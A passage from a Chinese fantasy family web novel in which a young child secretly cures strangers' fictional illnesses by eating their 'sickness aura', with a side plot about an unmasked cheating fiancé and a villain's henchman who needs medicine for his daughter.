然而出乎所有人意料的是,贾克斯却一点都不慌,反而笑了起来:“这是我和我女朋友之前的事情,关你们什么事?” 下一秒,黛拉的呼吸忽然变得急促,接着竟是直接昏了过去。 贾克斯好整以暇地将她抱在自己怀里,挑衅地看着江昭晏:“你告诉她又有什么用,她不会记得的!” 睡美人症的患者只要情绪激动,就会晕倒。 等到她醒来,就会忘记昏倒前发生的事情,所以他根本就不担心。 不管这些人给黛拉看多少次,黛拉都不会记得。 而频繁的发病,只会让她的性命更快地走向尽头。 看到贾克斯这么无耻,别说是江昭晏他们了,连围观的乘客们都有些忍不住了。 可他们也没有办法。 这根本就是个无解的死结。 就在众人惋惜、愤怒之时。 根本没人注意到,一个小幼崽偷偷摸摸地跑到了黛拉的旁边。 又又微微探出半个脑袋,对准黛拉身上的深红色病气,就是狠狠一吸。 贾克斯正得意地环顾四周,根本没有留意身后的小幼崽。 他怀中的黛拉锁紧眉头,睫毛不断颤抖。 黛拉觉得自己似乎陷入了一个噩梦中。 曾经那些因为病症而被抹除的记忆,正在一点一点地复苏。 她看到贾克斯第一次出轨被她抓到,他吓得跪地求饶,却在发现了她的病症之后,渐渐有恃无恐。 他一次又一次地欺骗她,假意求婚,却是为了谋夺她的家产。 最终,黛拉猛然睁开眼睛。 但此时,她的眸中已不再是一片茫然,而是冰冷刺骨。 贾克斯注意到她醒来,立刻伪装出温柔的表情:“亲爱的,你醒了……” 然而,他话还没说完。 “啪!” 黛拉用尽浑身力气,一个巴掌狠狠打在了他的脸上。 第64章 黛拉的力道极大,贾克斯的脸都被打得偏了过去。 他捂着脸,惊疑不定地看着黛拉:“你……你怎么会……” 黛拉此时也渐渐冷静下来。 她是知道自己患病的,之前每次醒来,她都会感觉到大脑像是空了一段,回忆都是断断续续的。 但这次不一样,她能感觉到自己的记忆是完整的。 难道……她的病好了? 可睡美人症不是绝症吗? 她的脑子里有每次去检查的记忆,也有自己查过睡美人症的记忆。 这些都在告诉她,睡美人症是不可能被治好的,她的记忆永远都是片段的、零碎的。 但偏偏,她对于这些事情的连贯记忆,又和诊断结果截然相反。 黛拉只觉得,自己的认知和经历在不断打架。 贾克斯看着她茫然的脸,却是松了口气。 她应该没有记忆,刚刚的那一巴掌,应该只是意外。 想到这里,他又扬起笑容,只是牵扯脸上的痛处,笑容显得有点扭曲:“黛拉,你刚刚是不是做噩梦了?” 黛拉缓缓地回过神,看着眼前这张脸,眼底浮起厌恶的情绪:“是,我是做噩梦了……” 贾克斯松了口气。 还好,还好。 但下一秒,他就听黛拉幽幽地说道:“一想到,我居然跟一个出轨成性,满口谎言的人交往了几年,就真像是一场噩梦……” 贾克斯愣了:“你说什么?” 黛拉淡淡地瞥了眼江昭晏拿出来的证据:“你以为我看了证据之后就会失忆,又能像以前那样糊弄我?还是以为我不会把你送进监狱?” 围观的乘客们都愣住了。 没想到一场求婚竟这么一波三折。 原本众人还在为黛拉担忧,没想到黛拉醒来后,竟发生了180度大转变,竟是完全看穿了渣男。 现场顿时发出了“干得漂亮”的欢呼声,有人给黛拉鼓掌,还有人拿光脑拍了起来。 “不可能!”贾克斯慌了,“你怎么会记得?!你的病……难道你一直在骗我?!” 黛拉轻笑一声,虽然她也觉得奇怪,面上却没有展现分毫:“这些就不用你关心了,你还是想想之后怎么跟法官解释吧!” 贾克斯没想到自己多年的算计成空,彻底疯了,他扑上前试图抓住黛拉的手:“不可能!我不信!” 江昭晏眼睛一眯,一脚将他踹翻在地。 此时,又又已经偷偷摸摸跑回了三哥身边,眼睛亮晶晶地看着二姐教训渣男。 等到舰上的保卫队匆匆赶来,将贾克斯带走。 黛拉才又走到三人面前。 她记得,之前就是江昭晏戳破了渣男的虚伪面具。 “谢谢你们。”她感激地看着三人,但随即又有些疑惑,“我们并不认识,你们怎么知道……” 江昭晏摸了摸小幼崽的头发:“是我弟弟,他之前看到你和渣男在一起,我们出去逛街的时候,又看到他和另一个女人约会,察觉到不对,就拍了下来。” 黛拉看着又又,记忆浮现出走廊那一幕,心头一怔。 在遇到这个孩子之前,她正被贾克斯哄着去签结婚协议。 在走廊上和这个孩子撞到后,她的脑海中似乎浮现出了一些被遗忘的记忆。 这些记忆,让她在最后时刻拒绝了那份结婚协议。 否则,她现在就已经是贾克斯的妻子了,事情也会变得更加麻烦。 而在刚刚也是,是在遇到了这个孩子之后,她的记忆才恢复。 难道……是他治愈了自己的睡美人症? 黛拉脑中冒出这个念头,随即又失笑。 这怎么可能! 这么小的孩子,会有这样的能力吗? 但无论如何,她正是因为遇到了又又,才彻底改变了命运,摆脱了渣男。 她蹲下来,感激地看着又又:“谢谢你,小朋友。” 又又睁大眼睛:“黛拉姐姐,你记得我啦?” 黛拉想到自己之前的茫然,有点不好意思:“对不起,姐姐之前忘记你了……” “没关系的!”小幼崽打了个饱嗝,“黛拉姐姐没事就太好了!”- 又又在公共舰上吃饱喝足,就开始犯困了。 等公共舰快要进停泊港时,更是困得眼睛都睁不开了。 江昭晏见状,干脆把弟弟小心地抱在怀里:“睡吧,姐姐抱着你。” 小幼崽在姐姐怀里,十分有安全感,很快就睡了过去。 江昭晏将他汗湿的额发拂开,有些心疼地看着他脸上的困倦。 几天之内,从蔚蓝星区到翡翠星区,又从翡翠星区回到蔚蓝星区,中间还马不停蹄地去救人。 这样的行程连普通的成人都会觉得疲惫,何况是这样小的孩子。 然而又又却不喊苦不喊累,懂事得让人心疼。 于是,她全程没有叫醒又又,就这么抱着他上了悬浮车,回到了家。 到家时,正赶上江从谦要出门。 看到被江昭晏抱在怀中的又又,他瞳孔一缩,快步走上前,连声问道:“又又怎么了?受伤了吗?” “没受伤,他只是困了。”江昭晏压低声音快速回答。 但小幼崽还是被吵醒了。 他揉了揉眼睛,迷迷糊糊道:“大哥……抱抱。” 江从谦从江昭晏怀中接过小幼崽,还是下意识皱了一下眉头:“轻了。” 江昭晏没好气地翻了个白眼。 这才几天,哪里就轻了! 江从谦抱着小幼崽检查了一遍,确认他没受伤之后,这才彻底放下心来。 江见微却意识到了什么:“大哥,是发生了什么事吗?” 江从谦也没有瞒着他们:“这几天,蔚蓝星区有几处地方发生了爆炸,虽说人员伤亡不大,但还是引起了恐慌。” 江昭晏想起,他们到达停泊港的时候,负责巡逻的警力都多了一倍。 她神情顿时一肃:“查到凶手了吗?” 江从谦摇摇头:“对方十分狡猾,没有留下什么证据,而这几处发生爆炸的地方也没有关联,线索很少,官方怀疑这有可能是反叛军所为,目的就是为了破坏这次军部述职……” 江昭晏在第七军团时,就和这些人打过很多次交道。 当初她被灵基射线污染,就是反叛军做的。 要不是有又又在,她可能已经没命了,就算活下来,异能源被污染,身体也会逐渐腐败,变成一堆活着的烂肉。 想到这里,她便咬牙切齿:“这些阴沟里的老鼠……” “父亲……已经在查了,应该很快会有结果。”江从谦神情冷静,喉结却不自在地动了动,“你们最近出门小心点。” “你也是!千万不能以身犯险!”江昭晏忍不住道。 又又也跟着帮腔:“哥哥小心点,不要受伤哦!” 江见微:“附议。” 被弟弟妹妹这样教训,江从谦故意板着脸:“一个个没大没小的,都开始教训大哥了。” 但心里却是暖融融的。 不过他这几天忙得很。 先前他顺着蒂奢星区的案子往下查,果然查到了不少东西,而最近又发现了不少新线索。 可惜突发的几起爆炸案,牵扯了兵力,这才让对方又逃了。 不过,江从谦也因此察觉到了几分蹊跷,最近越发的忙碌。 因而,他没说几句,便匆匆离开了家。 又又回到自己熟悉的小房间,长舒了口气。 终于回家了! 哦对了,他回家的事情还没告诉希尔哥哥呢! 可惜希尔哥哥没有通讯器。 小幼崽只郁闷了一瞬,便决定第二天早上就去外事区找希尔哥哥。 谁知,第二天一早,他就看到希尔出现在了家里。 “希尔哥哥!”小幼崽惊喜地跑过去。 希尔原本安静地坐在沙发上,看到又又过来,紫眸瞬间迸发出亮光。 手臂下意识张开,稳稳地接住扑过来的小幼崽。 “希尔哥哥,你怎么在这里!你是知道我回来,特意来找我的吗?” 听到熟悉的叽叽喳喳。 希尔这几天提着的心总算放了下来。 他没有告诉又又,自从他出去之后,自己每天都会来找他。 他刚想说什么。 一团银白从他身后窜出,巨大的银狼蹲在小幼崽身边,鼻尖亲昵地蹭了蹭他。 “狼狼!” 又又眼睛一亮,立刻松开希尔,扑进了银狼蓬松的毛发里。 顺便“啊呜”一口吃掉了银狼身上的病气。 银狼舒服地直呼噜,尾巴轻甩,蹭过又又的小腿,痒得小幼崽直笑。 希尔却只能眼巴巴地看着又又和自己的精神体贴贴。 心里竟有点酸酸的。 而又又在银狼身上蹭够了,又转身扑进他怀里,兴奋地跟他分享:“希尔哥哥,我跟你说哦,我这几天遇到了好多事情……” 他把自己去翡翠星区救谢母,还有在公共舰上帮助黛拉姐姐教训渣男的事情都告诉了希尔。 希尔早就从自己身体的变化,察觉到了又又的治愈能力。 但听到他如此直白地告诉自己,又是高兴,又是担忧,忍不住道:“……危险。” “告诉希尔哥哥怎么会危险!”小幼崽想也不想地说道。 这句话像是火星,瞬间点燃了希尔心底最柔软的地方。 他的唇角不自觉地弯了弯,用力点头:“我保护又又。” 又又拉着希尔就朝楼上跑:“走!我们去星网玩!” 他这几天都没有上星网,实在是太想念了。 两人上了星网之后,就发现儿童区又换了新的主题。 可又又却只看了一眼,就下意识往机甲幻想城跑。 刚走进改装区,又又便习惯性地找谢偌,却听见一声清亮的呼唤。 “又又!” 谢偌依然穿着那身白板服装,但神情却看着轻松多了,脸上也带上了笑容。 又又立刻拉着希尔过去:“谢偌姐姐!” 然而谢偌看到他,却忽然喉咙发紧。 几乎说不出话来。 自从妈妈的病好了之后,她的脸色便不再像之前那样苍白,原本瘦弱的身体也渐渐有了肉。 为了不被有心人注意到,她们就搬到了另一个街区。 新的家温暖又舒适,妈妈昨天还找到了的新的工作,她昨天还和妈妈一起出门散步了。 这简直就是她曾经梦中才有的生活。 不! 连梦中都没有这么美好! 而这一切,都是又又带给她们的! 她有好多话想要跟又又说,却又想起妈妈的告诫。 她们一定要保护又又的秘密! 于是,她张了张嘴,千言万语最后只能化为一句最郑重的:“又又,谢谢你。” “诶?”小幼崽愣了愣,“为什么要谢我?” 一旁的希尔却眉头微皱。 小幼崽还没有意识到,谢偌已经知道了一切。 可他看着谢偌脸上纯粹的感激,和她眸底的坚定,犹豫了一下,并没有立刻戳破她。 谢偌也没有解释,而是转身拿出一个非常精美的拼装机甲。 机甲的外壳被做成了小绿的样子,每一处细节都格外的精致,简直栩栩如生。 而更厉害的是,这个机甲不止是外壳像,它甚至还会小绿的几个绝招。 谢偌在展示的时候,附近的大人小孩也都看了过来,神情惊叹。 而作为小绿的死忠粉又又,更是瞪圆眼睛,表情梦幻:“哇!小绿……好帅!” 这才是他心目中的小绿机甲!! 但下一秒,谢偌就将小绿递给了他:“又又,这个送给你。” 又又不可置信地指了指自己:“送给……我?” “嗯!”谢偌有些忐忑地看着他,“你喜欢吗?” “喜欢!我超超超喜欢的!”又又立刻抱住了机甲,爱不释手地摸遍每个地方,“谢谢你,谢偌姐姐!” 看到又又这么喜欢,谢偌也笑起来:“等我长大以后,我要成为机甲设计师,到时候我给你做一架真正的小绿机甲送给你!” “真的吗!”又又兴奋地蹦起来,却还是没忘记一旁的希尔,“到时候我跟希尔哥哥一起开小绿!” 希尔看着他雀跃的样子,紫眸中浮起点点笑意:“嗯。” 又又玩了一会新机甲,才小心翼翼地收回自己的空间,然后拉着希尔和谢偌去新开的主题乐园玩。 小幼崽看到谢偌姐姐好好地回来,又收到了这么棒的礼物,简直兴奋得不行。 结果没玩几个项目,就耗尽了体力。 小幼崽瘫在地上,看着天空棉花糖般的云朵,还有不时飞过去的几条广告。 希尔正要将他扶起来,却见小幼崽皱起眉头,指着天上道:“希尔哥哥,谢偌姐姐,你们看那个!” 希尔和谢偌都不约而同地顺着他手指的方向看去,却是一条公益广告。 【晶血症每年都会夺走上万名儿童的性命,请帮帮他们!】 背景的视频中,是一个躺在病床上的孩子,他的皮肤上泛着细碎的光点,表情却极度痛苦。 他望着镜头,轻声喃喃道:“我想长大……” 小幼崽看不懂上面的字,却能看到那个孩子的痛苦。 他看着和自己一样茫然的希尔,又看向谢偌:“谢偌姐姐,他怎么了?” 谢偌抿了抿唇,想起自己小时候的好友。 她就是患了晶血症去世的。 她对上又又澄澈的双眼,沉声说道:“他是患了晶血症。” “晶血症?” 晶血症的症状,是血液在血管中凝结成细小的晶体,这些晶体会随着每一次心跳摩擦血管壁,引发剧痛。 这些晶体甚至会在皮肤上显现出来,就像视频中的孩子一般,身上出现细碎的晶点,严重的甚至能从皮肤上摸出来。 患了晶血症的孩子需要每天注射化晶的药物,一旦无法化晶,晶体长大,就会刺破血管,最终全身出血而死。 但化晶的药物非常昂贵,很多家庭都无法承担。 谢偌心里很不是滋味。 之前妈妈患病,需要买昂贵的止疼药,她非常能感同身受。 “那注射了化晶的药,他就能好吗?”又又问道。 谢偌摇摇头:“注射了药物,也只能缓解晶化的速度,没有办法治愈的。” 她的好朋友患病后,她的父母几乎倾家荡产给她买药治疗,但最终还是没有留住她的性命。 又又皱起眉头。 好可怜啊! 要是能够帮帮他们就好了!- 与此同时,在一处防护严密的地下堡垒中。 殷质重重地拍在桌上,胸膛剧烈起伏,几乎是从牙缝中挤出三个字:“江从谦!” 这段时间被江砺和江从谦父子联手压制,简直是将他逼进了墙角。 江砺的铁腕让各世家噤若寒蝉,他原本想借势联合,却被江从谦反将一军,找到了破绽。 逼得他不得不提前放出自己的底牌,用几场爆炸牵制了兵力,把他们的注意力扯到反叛军复仇上去。 但也狼狈不堪,最后不得不躲到了这处地下堡垒中。 “大人息怒!”一名黑西装小心翼翼地说道,“咱们的计划还没有失败,还来得及……” “你闭嘴!” 殷质恶狠狠地看着他,“我现在只想要江从谦死!” 不管他是不是有治愈的能力,他都要杀了他! 这时,另一名黑西装走进来,压低声音道:“大人,他们到了。” 殷质站直身体,换上了一件裹得严严实实的黑袍,又用面具将脸遮住。 随后,门被打开,几名男人走了进来,看到他时,脸上都露出狂热的表情。 他们身上煞气十足,仿佛连空气中都有血腥味。 几名黑西装甚至都不敢直视他们。 殷质缓缓地看向他们,说道:“我有一个任务要交给你们……” 几名男人跪下来:“谨遵大人的命令!” 殷质满意地点点头,让黑西装把命令发下去。 他的目光落在为首的男人身上:“菲勒斯,这次的任务很重要,你是我最信任的人,交给你我才放心。” 菲勒斯虔诚伏下身体:“大人的吩咐,我一定赴汤蹈火!” 等到菲勒斯等人走出地下堡垒的时候,天已经黑了。 他脱掉身上的黑袍,换上了一件洗的发白的工装,开着一辆二手悬浮车拐进了平民区。 路灯昏黄,照着一栋栋破旧的小楼。 菲勒斯将悬浮车停在其中一栋前面,这才下了车,打开门走进去。 推开门,他就闻到了一股饭菜香气。 温暖的灯光下,饭菜被整齐地放在保温盒中。 菲勒斯脸上冰冷的神情也渐渐融化。 这时,里面的房门被人推开,一个有些微胖的女人走出来。 “唐娜。”菲勒斯看着妻子,下意识地问道,“宝宝睡了?” 唐娜点点头,脸上不禁浮起一点笑意:“这次的药很不错,宝宝化晶的效果很好,今晚都没有哭闹,已经睡着了。” 菲勒斯的脸上也露出笑容:“那就好!” “但是,这种药应该很贵吧?”唐娜忍不住蹙起眉,“咱们能买得起吗?” “你放心吧。”菲勒斯安抚地拍了拍她的肩膀,“交给我。” 唐娜知道丈夫虽然不爱说话,却很靠谱,放下心来。 她张罗着把保温盒里的饭菜拿出来:“饭菜都凉了,我去给你热一下吧!” “不用麻烦了。”菲勒斯拦住她,高大的身躯坐下来,拿起饭菜就开始狼吞虎咽。 唐娜看着他,很是心疼:“你今晚怎么这么晚才回来?是又加班了吗?” 菲勒斯顿了顿:“最近是有点忙,不过……只要忙完这一阵子,宝宝的药费就有着落了!” 他说得轻松,唐娜却担心道:“会不会很危险啊?” 菲勒斯轻轻地拥住她,笨拙地安抚:“没事,我心里有数。” 就在这时,房间里传来一声低低的哭声。 夫妻俩同时反应过来,冲进了房间。 这是整间屋子最大的房间,比起外面的破旧不堪,这间房子却干净精致得多。 粉色的墙纸,木质的地板,还有各种新款的玩具。 在房间最中央的儿童床上,躺着一名三四岁的小女孩。 她皮肤白皙,长得玉雪可爱。 但在灯光下,她的皮肤上却浮着细碎的晶点。 她的身体因为疼痛微微抽搐,发出细细的,像小猫一般的哭声。 唐娜立刻反应过来,焦急道:“快去拿药,宝宝这是又犯病了!” 菲勒斯立刻跑到客厅,打开冰箱。 冰箱里面并不是食品,而是一管管碧绿色的液体。 他小心翼翼地拿出一管,回到房间,递给唐娜。 唐娜已经用酒精棉擦过孩子细瘦的手臂。 手臂上密密麻麻都是针孔,看得菲勒斯心头发颤。 唐娜却已经狠心将针头刺入孩子的静脉,小女孩疼得一哆嗦,但随着碧绿的液体流入血管,她抽搐的身体慢慢放松,哭声也渐渐弱了下来。 等到那管液体输完,小女孩也再次熟睡过去。 唐娜再也忍受不了,伏在菲勒斯怀里低低哭泣。 菲勒斯抚摸着孩子汗湿的额发,眸底闪过一丝狠厉。 为了宝宝。 他什么都能做。 第65章 接下来的几天,又又都一直在惦记那些得了晶血症的孩子。 连在星网上玩耍的时候,都有些心不在焉。 希尔忍不住问:“怎么了?” 又又撑着下巴,有些出神:“希尔哥哥,我好想帮帮他们,应该怎么做呢?” 当时他能给谢母治疗,是因为他知道谢偌的名字和长相,能查到她的住址。 可是这些晶血症的小患者,他都不认识,想帮他们也无能为力。 希尔也不知道怎么办。 如果是让他开机甲教训别人之类的,他还能帮忙,但这种事,他也又又一样迷茫。 倒是一旁的谢偌若有所思,迟疑着开口:“我或许……可以想到办法!” 她话音刚落,又又和希尔都齐齐看向她。 谢偌点开光屏,说道:“你们知道病友社区吗?” 又又和希尔都茫然地看着她。 谢偌便道:“之前,我妈妈生病的时候,我就是在星网上找到异能崩坏症的病友社区,病友和家属会在社区里分享自己的情况,或者一些新药的消息……” 又又听着,眼睛就亮了起来。 对啊! 这样他就能找到人了! 只是…… 他看着谢偌光屏上的病友社区,不好意思地挠了挠头:“我不认识字啊……” 谢偌一直想要做点什么报答又又,听他这样说,便立刻道:“我可以帮忙!” 三小只一同回了又又的个人空间,围坐在桌前。 谢偌的行动力很强,很快就找到了晶血症的病友社区。 光屏上密密麻麻的字,看得小幼崽眼睛瞬间变成了蚊香圈。 谢偌的目光顺着社区的帖子一直往下滑,忽然目光一定:“你们来看看这个帖子!”- 叶薇薇是一个没有异能的普通人,不过她一直觉得自己运气很不错。 刚毕业就找到了一份稳定且薪水丰厚的工作,和两情相悦的男朋友结婚。 婚后,儿子小宇出生,更令她骄傲的是,小宇还是一名异能者。 夫妻俩一起努力工作攒钱,想着等儿子大一点就送去异能学校。 谁知,天有不测风云。 在小宇五岁的时候,忽然被检查出了晶血症。 医生告诉他们,这病会在血液中凝结出晶体,必须持续注射化晶药物,一旦未能及时化晶,晶体就会刺破血管,让孩子全身出血而死。 一时间,夫妻俩的天都塌了。 亲戚朋友都劝他们。 “趁年轻再生一个吧,晶血症的孩子太拖累人了……” “你们夫妻俩条件这么好,别为了一个治不好的病拖累自己……” 叶薇薇气得把人都赶出了家里。 她抱着小宇嚎啕大哭,小小的孩童不知道发生了什么,懵懂地擦掉她的眼泪:“妈妈,不哭……” 叶薇薇心如刀绞。 这是她十月怀胎生下来的孩子啊! 从一点点的小婴儿一直带到这么大,她怎么舍得放弃他! 可是,化晶的药物实在是太贵了,压得她喘不过气。 她白天上班,晚上还要兼职赚外快,就为了多赚点钱给孩子买药。 可即便如此,夫妻俩的存款还是一天天少了下去,连家里的房子都被抵押了出去。 直到有一天晚上,她买了药疲惫地回到家中。 却发现丈夫不见了,衣柜里他的衣服消失了,抵押房产的钱也没了,通讯号拉黑,星网账号也注销了。 那一刻,叶薇薇彻底陷入了绝望。 她瘫坐在冰冷的地板上,怀里的小宇痛得发抖。 她机械般地为孩子打了最后一支化晶药,看着怀中熟睡的小宇,却是痛苦不已。 她赚来的钱根本支撑不了每个月的药钱,没有药,小宇根本活不下去。 就在她崩溃的时候,她忽然想起,买药时,一名病友告诉她的晶血症病友社区。 叶薇薇抱着最后一丝希望,点开了社区,发下了一条求助帖子。 【我是一名晶血症孩子的母亲,孩子五岁,急需化晶药,求好心人帮帮我们母子】 她在帖子里详细说了自己的情况,还贴出了孩子的诊断单和各种买药的证明。 病友社区基本都是一些家境不太好的平民组成的。 那些家庭条件好,能够负担药物的人,基本不会来这种地方逛。 因而,像叶薇薇这样的帖子,社区里有很多,她的帖子很快就被压了下去。 零星的一两个回复,也只是安慰,并没有人伸出援手。 就在叶薇薇的那丝希望即将破灭的时候,忽然有人给她发了一条私聊信息。 【你可以带孩子来蔚蓝星区,我知道有人可以治愈晶血症。】 叶薇薇猛然睁大了眼睛,盯着屏幕,反复确认那几个字。 治愈……晶血症?! 这竟然不是幻觉! 可是晶血症能够被治愈吗?! 她几乎是颤抖着回复:【你是谁?晶血症真的能够治愈吗?】 对方回复道:【你可以叫我治愈师,我帮你出路费和住宿费,等你到了蔚蓝星区之后,我会来找你的。】 这话实在是太像诈骗了。 叶薇薇的心慢慢地沉了下去。 她正想要关掉对话窗口,却听见旁边传来小宇一声微弱的痛呼。 她连忙垂下头,睡梦中的孩子眉头紧皱,眼角还挂着眼泪。 然而,叶薇薇看着他身上还有三三两两没有化掉的晶点,却连安抚地轻轻拍他都做不到。 一股酸涩涌上她的心头。 她知道,长期的药费是个填不满的无底洞,就算有人暂时帮衬,也撑不了多久。 与其看着孩子一步步走向死亡,倒不如—— 孤注一掷! 她深吸一口气,内心反倒坚定下来。 她点开了购票系统,购买了到蔚蓝星区的车票。 她私信给对方:【我不用你帮我出车费,但我到了之后应该怎么联系你?】 没多久,对方就给她发来了一个地址:【你到了之后,就住在这里,不用付钱。】 紧接着又是一条:【你相信我,你的孩子真的可以治愈的。】 看到这句话,叶薇薇的心就像是被温水泡过一般。 自从小宇生病之后,就再也没有人这样安慰过她了。 她知道,这很有可能是个骗局。 但她已经没什么可以被骗的了。 丈夫跑了,存款为零,房子也被抵押了出去,要是没有看到这句话,她现在已经带着孩子离开这个世界了。 而且,不知道为什么,对着这个未曾蒙面的网友,她竟然有种莫名的信任感。 就像是溺水的人抓住最后一根稻草。 她关闭光脑,开始收拾行李。 最后,她将孩子抱起来,温柔地亲了亲对方的额头:“小宇,妈妈带你去蔚蓝星区治病。”- 另一边,谢偌看着满屏的骂声,却是气得浑身发抖。 自从决定要帮助那些晶血症的孩子们,她和又又还有希尔便各自分工。 她负责在病友社区找合适的人选,私信联系对方。 而剩下的事情,则由又又和希尔负责。 只是谢偌怎么都没想到,他们明明是一片好心,这些人却不分青红皂白,把他们骂得很难听。 甚至还有人威胁要报警,要开盒他们。 不信的话,不理他们不就行了! 干嘛要骂他们! 谢偌又委屈又生气。 她唯一庆幸的是,在做这件事之前,妈妈给她的星网地址做了伪装,让这些人没办法找到他们。 只是想到小幼崽为了这件事忙前忙后,她就脚步沉重,不敢把真相告诉他。 然而小幼崽此时却是兴致勃勃,跟希尔说道:“我跟哥哥说好了,以后那间酒店就用来给那些晶血症的病人们住,这样,我不用跑很远,也能给他们治病了!” 小幼崽觉得,想出这个办法的自己,真是太聪明啦! 这时,他看到谢偌走过来,立刻期待地问道:“谢偌姐姐,现在有多少个病人要过来呀?” 谢偌哪敢跟他说,星网上现在全是骂他们的,根本就没人相信他们。 又又见谢偌没说话,疑惑道:“谢偌姐姐?” 谢偌回过神,努力用平静的语气回答道:“……现在还只有一个人。” “一个人?” 又又有点失望,但随即又道,“没关系!那也能帮助一个人呢!” 希尔却从谢偌的表情中,看出了些许不对劲。 他微微皱起眉头,握住小幼崽的手:“我帮又又。” 又又连连点头。 希尔哥哥的狼狼可以隐身呢! 这样,他吃掉病症的时候,就不会被人发现了。 日子很快就到了叶薇薇抵达的那天。 她抱着孩子,拿着行李,走下公共舰。 蔚蓝星区比她所居住的星区要大很多,不过她却无心去看。 今早,小宇的晶血症又发作了,但她已经没有化晶药了,只能忍着泪水,给孩子吃了一粒止疼药。 吃了药的小宇又睡了过去。 可她知道,这是治标不治本的办法。 她很快叫了一辆悬浮车,给了对方那个地址。 她本以为那只是一个破旧的小旅馆。 谁知,到了地方后,竟然是一家高档干净的酒店。 她有些不可置信地看着眼前的巨大的酒店门。 小宇没生病之前,她都舍不得住这么好的酒店。 对方不仅告诉她治愈小宇的信息,还让她住这么好的酒店? 叶薇薇越发地怀疑这件事的真实性。 只是看着怀中的孩子,她犹豫了一下,还是咬牙进入了酒店。 一进去,便有人迎了上来:“是叶薇薇女士和小宇小朋友吗?” 叶薇薇一愣:“我……我是。” “您跟我来。”对方接过叶薇薇的行李,带着她到了顶楼。 叶薇薇怔愣地看着眼前干净舒适的房间,又看着自己和小宇满身的灰尘,几乎不敢踏进房间。 “这……真的是给我们的房间吗?” “是的。”服务员微笑道,“您和孩子先好好休息,一会我让厨房给你们送一些吃的。” 叶薇薇这才抱着孩子走了进去。 一走进去,便闻到淡淡的香气。 客房也很大,甚至还带了一个漂亮的小阳台。 此时,她怀中的小宇也醒了过来,揉了揉眼睛:“妈妈,这是哪里呀!好漂亮!” 叶薇薇回过神,把小宇放在了床上。 小宇伸手摸了摸柔软的床单,朝她露出一个笑脸:“妈妈,这里的床铺好软呀!” 叶薇薇愣了一下,伸手摸了一下床单。 柔软光滑,是完全不会刺激皮肤的布料。 患了晶血症的孩子皮肤极度敏感,对床品的要求格外高。 叶薇薇没想到,对方连这种小细节都注意到了。 她心中感动不已,原本忐忑的心也渐渐放了下来。 她打开光脑,给对方发了一条私信,然后便焦急地等待着对方的回复。 就在这时,服务生敲门,给她们送餐过来了。 叶薇薇便让小宇在床上坐着,自己去门口拿餐食。 她刚走,阳台上的窗帘便无风自动。 又又骑在银狼的背上,一双绿眸看向了床上乖乖坐着的小宇。 他压低声音道:“狼狼,我们走……” 银狼轻巧地从阳台跃进了房间,它虽然身形庞大,但动作轻盈优雅,根本没有发出任何动静。 而且它的身上覆盖着一层薄薄的,像是水波一般的能量,将它和又又都完全遮盖住了,肉眼看去,几乎什么都看不到。 房间里,小宇正抱着玩偶,坐在床沿。 忽然,一阵微风从阳台吹了进来,还带着点草木的清香。 他疑惑地看了一眼,却什么都没有看到,于是又低下头继续玩手里的玩偶。 又又长出了一口气,借着银狼的掩护,来到小宇身边。 他已经看到了小宇身上粉红色的病气,里面还泛着星星点点的光点,像是一把细碎的糖霜。 又又凑过去,刚吃一口,眼睛就亮了起来。 这个味道也好特别,好好吃啊! 不过这些病气并不多,又又很快就吃得干干净净。 小幼崽意犹未尽地砸吧了一下嘴巴。 他没想到,这个声音在室内竟无比清晰。 小宇猛然抬起头,四处张望:“谁在那里?” 又又吓得呆毛都立了起来,连忙缩在银狼厚厚的背毛里。 小宇疑惑地看着那片空地,他刚刚明明听到了声音,怎么会没有人呢? 他像是想到了什么,眼睛骤然亮起,小声问:“你是小精灵吗?” 又又:? 而就在这时,叶薇薇已经拿着餐盘走了进来:“小宇,先来吃点东西吧。” 小宇眨了眨眼睛,有一点失望。 只是他虽然遗憾没有看到小精灵,却还是听妈妈的话,乖乖下床,走到餐桌旁边。 又又长出了一口气,赶紧示意银狼离开。 银狼会意地冲出房间。 叶薇薇只觉得身侧像是有阵风掠过,随即便看到房门被打开了。 她站起身,发现门外并没有人,顿时一愣。 难道是她刚刚忘记关好房门,被风吹开了吗? “妈妈,怎么了?”小宇的声音从房间里传来。 “没事。”叶薇薇关上门,又回到餐桌旁,“来,我们先吃饭……” 她忽然愣住了。 她猛然发现,小宇身上的那些晶点竟然都没有了! 她用力地揉了揉眼睛,仔细看过去。 是的! 真的没有了!! 小宇的皮肤上一点痕迹都没有,就像是每个健康的孩子那样光滑白皙。 叶薇薇的眼泪刷的落了下来。 她将孩子紧紧地抱在怀中,小宇有些疑惑,却还是懂事地拍拍妈妈的后背,安慰道:“妈妈,不哭……” 谁知,他说完,叶薇薇却哭得更凶了。 从前,因为晶血症的关系,只要她抱着小宇的力气稍微大一点,孩子就会疼得不行。 自从小宇患病后,她已经很久很久,没有这样拥抱自己的孩子了。 虽然还没有去医院做检查,但她几乎已经相信,小宇的病被治好了。 治愈师没有骗她! 小宇真的被治愈了! 而此时,被叶薇薇深深感激的治愈师,正被姐姐从银狼的背上抱下来。 “呜,腿软了。”小幼崽抱着姐姐的脖子,委委屈屈道。 江昭晏好笑地点了点他的小鼻子:“胆小鬼。” 小幼崽撅起嘴巴,他哪能想到,会差点被一个跟自己一样大的小孩子给吓到。 而一旁的希尔,却认真地说道:“又又勇敢。” “还是希尔哥哥了解我!”小幼崽立刻傲娇地转过头,只留给姐姐一个后脑勺。 江昭晏更想笑了,故意问道:“那下次还来给人治疗吗?” “来!当然要来!”又又急忙道。 他不仅帮助了别人,还吃到了好吃的病,简直就是一举两得,怎么能放过!- 叶薇薇迫不及待地带着孩子去做了检查。 看到检查报告上的正常,她心里最后一块石头也落了下来。 小宇没事了! 他以后可以像每一个正常的孩子那样,想跑就跑,想跳就跳。 他再也不会疼了,也不会每天承受着死亡的阴影。 叶薇薇的喉咙像是被堵住。 她想起每次看到小宇疼哭时的心痛,想起自己前些日子的绝望,想起自己抱着最后一丝希望踏上公共舰…… 谁能想到,这希望竟然真的成真了! 叶薇薇慌忙打开光脑,打开了治愈师的对话框。 她先将小宇的检查报告发给他,然后又打了一段长长的文字。 【谢谢您!小宇的病已经全好了,在小宇患病之后,我想过无数种可能,却唯独不敢去想他能够治愈,能够像一个正常的孩子那样生活,是您救了他,也救了我,谢谢您,真的非常谢谢您……】 过了好一会,对方回了一个“抱抱”的表情。 叶薇薇的眼眶又泛酸了。 明明只是这样一个简单的表情,但她却觉得对方完全能理解她的心情。 她吸了吸鼻子,正准备退出病友社区,却在首页看到了一条新帖子。 【@治愈师,骗子死全家好吧!!】 叶薇薇一愣,连忙点进去。 